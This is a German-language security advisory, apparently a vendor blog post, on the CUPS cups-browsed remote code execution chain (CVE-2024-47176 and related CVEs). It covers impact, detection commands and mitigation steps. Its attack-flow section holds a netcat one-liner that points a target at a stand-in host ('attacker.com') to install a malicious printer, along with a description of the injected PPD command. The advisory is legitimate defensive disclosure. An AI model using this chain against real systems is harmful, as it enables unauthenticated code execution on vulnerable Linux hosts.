剣 KENSAI
Critical CVE-2024-47176 October 2024 · 9 min read

CVE-2024-47176: CUPS Linux RCE — 300K Internet-Exposed Systems

Eine Kette aus vier CUPS-Schwachstellen (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) ermöglicht unauthentifizierte Remote Code Execution auf Linux-Systemen mit cups-browsed. Über 300.000 Systeme waren bei der Offenlegung internet-exponiert. Betrifft Ubuntu, Debian, Red Hat, Fedora und die meisten Linux-Distributionen standardmäßig.


9.9
CRITICAL
AttributWert
Primäres CVECVE-2024-47176
Verwandte CVEsCVE-2024-47076, -47175, -47177
CVSS-VektorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20: Improper Input Validation
Veröffentlicht26. September 2024
AusnutzungÖffentlicher PoC — opportunistisches Scanning beobachtet

Was ist CVE-2024-47176?

CUPS (Common Unix Printing System) ist die Standard-Druckinfrastruktur auf Linux und macOS. Der cups-browsed-Daemon lauscht auf UDP-Port 631 auf Drucker-Ankündigungen im Netzwerk. CVE-2024-47176 ist der Einstiegspunkt in einer Vier-Schwachstellen-Kette: cups-browsed akzeptiert UDP-Pakete aus jeder Quelle, einschließlich des Internets, ohne Authentifizierung.

Durch das Senden eines präparierten UDP-Pakets an Port 631 kann ein Angreifer das System des Opfers dazu bringen, sich mit einem angreiferkontrollierten „Drucker“ zu verbinden. Der bösartige Drucker liefert eine präparierte PPD-Datei (PostScript Printer Description) mit eingebetteten Befehlen. Wenn das Opfer irgendetwas druckt, werden diese Befehle auf seinem System ausgeführt.

Die vollständige Angriffskette

CVEKomponenteBeschreibung
CVE-2024-47176cups-browsedBindet an UDP 0.0.0.0:631, akzeptiert Pakete von jeder IP
CVE-2024-47076libcupsfiltersIPP-Attributwerte werden beim Erstellen von PPD-Dateien nicht bereinigt
CVE-2024-47175libppdDie PPD-Dateierzeugung bereinigt IPP-Attribute nicht
CVE-2024-47177cups-filtersFoomaticRIPCommandLine erlaubt beliebige Befehlsausführung

Angriffsablauf

# Step 1: Attacker sends UDP packet to target:631
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# Step 2: cups-browsed fetches IPP attributes from attacker's server
# Attacker's server returns malicious printer attributes

# Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data
# PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# Step 4: Next time any user prints (or admin triggers test print):
# FoomaticRIP executes the command from the PPD
# Command runs as the lp user (often has significant filesystem access)

⚠ Keine Nutzerinteraktion nach der Einrichtung

Der Angreifer muss nur ein UDP-Paket senden, um den bösartigen Drucker einzurichten. Die Ausnutzung wird dann ausgelöst, sobald irgendein Nutzer des Systems zu drucken versucht — einschließlich Routine-Druckaufträgen, die Stunden oder Tage später erfolgen können. Auf Servern könnte ein Angreifer die Ausnutzung auch aus der Ferne auslösen, indem er einen Druckauftrag an den neu installierten bösartigen Drucker sendet.

Ausmaß der Auswirkung

Zum Zeitpunkt der Offenlegung identifizierten Shodan- und Censys-Scans rund 300.000 internet-exponierte Systeme mit offenem UDP-Port 631. Die Schwachstelle betrifft praktisch jede große Linux-Distribution, die cups-browsed ausliefert:

macOS ist nicht betroffen, da es einen eigenen Druck-Stack nutzt. Allerdings nutzt macOS intern ebenfalls CUPS, sodass bestimmte Konfigurationen von verwandten Problemen betroffen sein können.

Erkennung

# Check if cups-browsed is running
systemctl status cups-browsed
ps aux | grep cups-browsed

# Check if UDP 631 is exposed
ss -ulnp | grep 631
netstat -ulnp | grep 631

# Check for unexpected printer additions
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# Look for suspicious PPD files
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# Check logs for unexpected IPP connections
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

Mitigation

  1. cups-browsed stoppen und deaktivieren, falls nicht benötigt:
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. Patches anwenden: cups-browsed 2.0.1 und cups-filters 2.0.1 beheben die Schwachstellen. Ubuntu, Debian und Red Hat veröffentlichten Patches innerhalb von Tagen nach der Offenlegung.
  3. UDP-Port 631 an der Firewall blockieren: Verhindert, dass externe Pakete cups-browsed erreichen
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. FoomaticRIP entfernen, falls nicht benötigt: Der finale RCE-Schritt erfordert foomatic-rip. Es zu entfernen (wenn keine Foomatic-Drucker genutzt werden) eliminiert die Code-Ausführungsfähigkeit.
  5. Drucker-Konfigurationen auditieren: Entfernen Sie unbekannte Druckereinträge aus /etc/cups/printers.conf

💡 Die meisten Server sind nicht verwundbar: Server-Installationen von Linux installieren cups-browsed typischerweise nicht standardmäßig. Das höhere Risiko liegt bei Linux-Workstations und Entwicklungsmaschinen. Dennoch sollte jedes für das Drucken konfigurierte Linux-System auditiert werden.

KENSAI-Erkennungsfähigkeit

Wie viele Linux-Systeme in Ihrer Umgebung haben cups-browsed exponiert?

KENSAI scannt Ihre interne und externe Angriffsfläche auf CUPS-Schwachstellen über alle Linux-Systeme. Verschaffen Sie sich in Minuten das vollständige Bild.

CUPS-Exposure finden →

Related Articles

CISAがパッチ期限を短縮、ホワイトハウスがサイバー戦略を改定 Divergência cibernética EUA-UE se intensifica Redirecting...